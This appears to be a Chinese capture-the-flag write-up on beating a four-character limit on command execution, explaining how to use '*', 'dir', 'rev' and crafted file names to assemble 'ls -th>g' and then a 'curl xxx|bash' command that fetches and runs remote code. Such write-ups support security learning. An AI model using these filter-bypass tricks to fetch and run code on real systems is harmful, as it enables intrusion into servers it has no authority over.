被5虐过后,现在到4了,没想到难度大很多,这些就记一下总结下来的方法和姿势。先总结ls -t的方法,后面再补充tar的姿势。
在上一题中我们大概知道了构造ls -t的要素,但是在本题中,由于长度的进一步限制,`ls>>_`将无法使用。这就要使用到其他技巧。
技巧0:*
在当前工作目录下使用*命令,会将目录名当作命令执行(顺序)
执行*即-t
执行*s即ls
该方式主要用于执行dir和简化rev命令。
技巧1:dir a b>c
ls>v命令除了会将ls列表写入v,还会将v写入v文件内容中。这就会导致命令多余,由于不能使用>>,所以即使使用\分割命令也没有用。
但是dir a b>v命令就不一样了,他会将a b直接写入v,所以说我们得构造dir命令
由于ls -t中不可避免使用-,所以这里我们得借助rev命令,先构造ls -t>g的逆向,即使
>sl
>ht-(之所以要引入h,主要是为了保证排序时sl在最后面)
>ha-(可选,如果你在构造curl时,你的部分文件必须以.打头,可通过-a命令把隐藏文件显示出来)
>g\>
>dir
通过*>v(为什么会是v,会面会说,很有讲究)
技巧2:rev命令
上面我们已经构造了ls -th>g的逆序,现在要使用rev命令,但是我们无法直接执行rev命令,因为长度问题,所以这里还是要借助*的力量,首先我们写入>rev,然后使用*v>_将正序后的ls -th>g写入_文件中
最后就是构造curl xxx|bash,这个跟上一题差不多这里就不多说了,如果在构造ip时无法避免使用.打头(即隐藏文件)可使用-ah命令
这里不多介绍了,后面刷writeup时,看到有大神说了tar的方法,之后会把这个整理进来
未完待续。